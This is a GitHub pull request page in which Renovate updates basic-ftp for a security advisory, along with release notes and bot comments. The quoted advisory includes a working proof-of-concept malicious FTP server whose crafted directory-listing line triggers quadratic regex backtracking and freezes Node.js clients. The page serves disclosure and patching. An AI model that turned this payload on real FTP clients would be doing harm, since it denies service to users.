Skip to content

chore(deps): update dependency basic-ftp to ^6.2.5 [security] - #302

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-basic-ftp-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-basic-ftp-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 30, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
basic-ftp ^6.0.0 → ^6.2.5 age confidence

⚠️ Renovate does not enforce Minimum Release Age for bump, lockfileUpdate, or rollback updates, so these are raised without a Minimum Release Age check. You will need to manually validate the Minimum Release Age for these package(s).


basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)

CVE-2026-102990 / GHSA-c475-qrg2-pj4r

More information

Details

Summary

Client.list() parses the server's directory listing with the Unix-style parser in parseListUnix.js. Its RE_LINE regex has two adjacent (\S+(?:\s\S+)*) groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length.

The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. parseList() picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match.

Proof of concept

npm i basic-ftp && node repro.js:

const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
  c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
  c.on("data", d => { buf += d; let i;
    while ((i = buf.indexOf("\r\n")) !== -1) {
      const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
      if (cmd.startsWith("USER")) c.write("331 .\r\n");
      else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
      else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
      else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
        ds.listen(0, "127.0.0.1", () => c.write(`229 (|||${ds.address().port}|)\r\n`)); }
      else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
      else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
  const client = new ftp.Client(0);
  await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
  let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
  await client.list(); clearInterval(hb);
  console.log(`list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}`);
  process.exit(0);
});

Prints list() blocked 39.75s; heartbeats fired: 0, versus ~0.06s for a normal listing. The event loop is frozen the whole time. Cost is quadratic: 32 KB ≈ 2.4s, 64 KB ≈ 9.6s, 128 KB ≈ 39s. maxListingBytes defaults to 40 MB, so a single line can be far larger, and ~1 MB already blocks for tens of minutes.

Impact

One directory listing freezes the whole process, under default options, through the primary API. This is the same "malicious FTP server causes client-side denial of service" shape as GHSA-rp42-5vxx-qpwr, also in Client.list() and rated high. The byte cap added there bounds memory, not the parser's CPU cost.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

patrickjuchli/basic-ftp (basic-ftp)

v6.2.5

Compare Source

  • Changed: Releases are now built on GitHub Actions and published with npm provenance. Read RELEASING.md for the complete process.

v6.2.4

Compare Source

  • Fixed: A fact named __proto__ in an MLSD directory listing made listing a directory fail with a TypeError, fixes GHSA-5pm8-86m8-9m6r.

v6.2.3

Compare Source

  • Fixed: A password or a path of a resumed download containing control characters could throw an uncaught exception and terminate the process, fixes GHSA-r4jh-29pc-gfqr.
  • Fixed: A command rejected for containing control characters left the client unusable.
  • Fixed: The error for a rejected PASS command included the password.

v6.2.2

Compare Source

  • Fixed: Protect against excessive CPU use when detecting an MLSD directory listing or parsing a PASV response, fixes GHSA-5rfr-xx34-2xxv.

v6.2.1

Compare Source

  • Fixed: Protect against excessive CPU use when parsing a directory listing, fixes GHSA-c475-qrg2-pj4r.
  • Fixed: A transfer could time out right after a slow local source or destination stopped holding it up, before the server had a chance to continue.

v6.2.0

Compare Source

  • Changed: Timeout tracking during data transfers now only applies to the server, not a slow local source or destination.
  • Fixed: A failed transfer could report its failure twice and cancel an unrelated command issued afterwards, leaving it without a response.

v6.1.0

Compare Source

  • Changed: Uploading from a local path now throws if the file changes while it's being read, instead of reporting the incomplete upload as successful.

v6.0.2

Compare Source

  • Fixed: Implicit FTPS transfers against servers requiring TLS session reuse failed with "425 ... TLS session of data connection not resumed" on Node.js with the CVE-2026-48934 fix (22.23.0+, 24.17.0+, 26.3.1+).

v6.0.1

Compare Source

  • Fixed: Use and renew TLS 1.3 session tickets for data connections.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from a team as a code owner October 30, 2026 10:16
@vercel

vercel Bot commented Oct 30, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
faucet Ready Ready Preview Nov 5, 2026 12:38am UTC

Request Review

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 30, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-10-30T10:18:26.633008Z cfc7816 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@renovate renovate Bot changed the title chore(deps): update dependency basic-ftp to ^6.2.3 [security] chore(deps): update dependency basic-ftp to ^6.2.4 [security] Nov 2, 2026
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-vulnerability branch from cfc7816 to 3d57821 Compare November 2, 2026 12:41
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Signed-off-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
@renovate
renovate Bot force-pushed the renovate/npm-basic-ftp-vulnerability branch from 3d57821 to f021e55 Compare November 5, 2026 00:38
@renovate renovate Bot changed the title chore(deps): update dependency basic-ftp to ^6.2.4 [security] chore(deps): update dependency basic-ftp to ^6.2.5 [security] Nov 5, 2026

This branch was successfully deployed

1 active deployment
Preview — f021e554 Deployed Nov 5, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants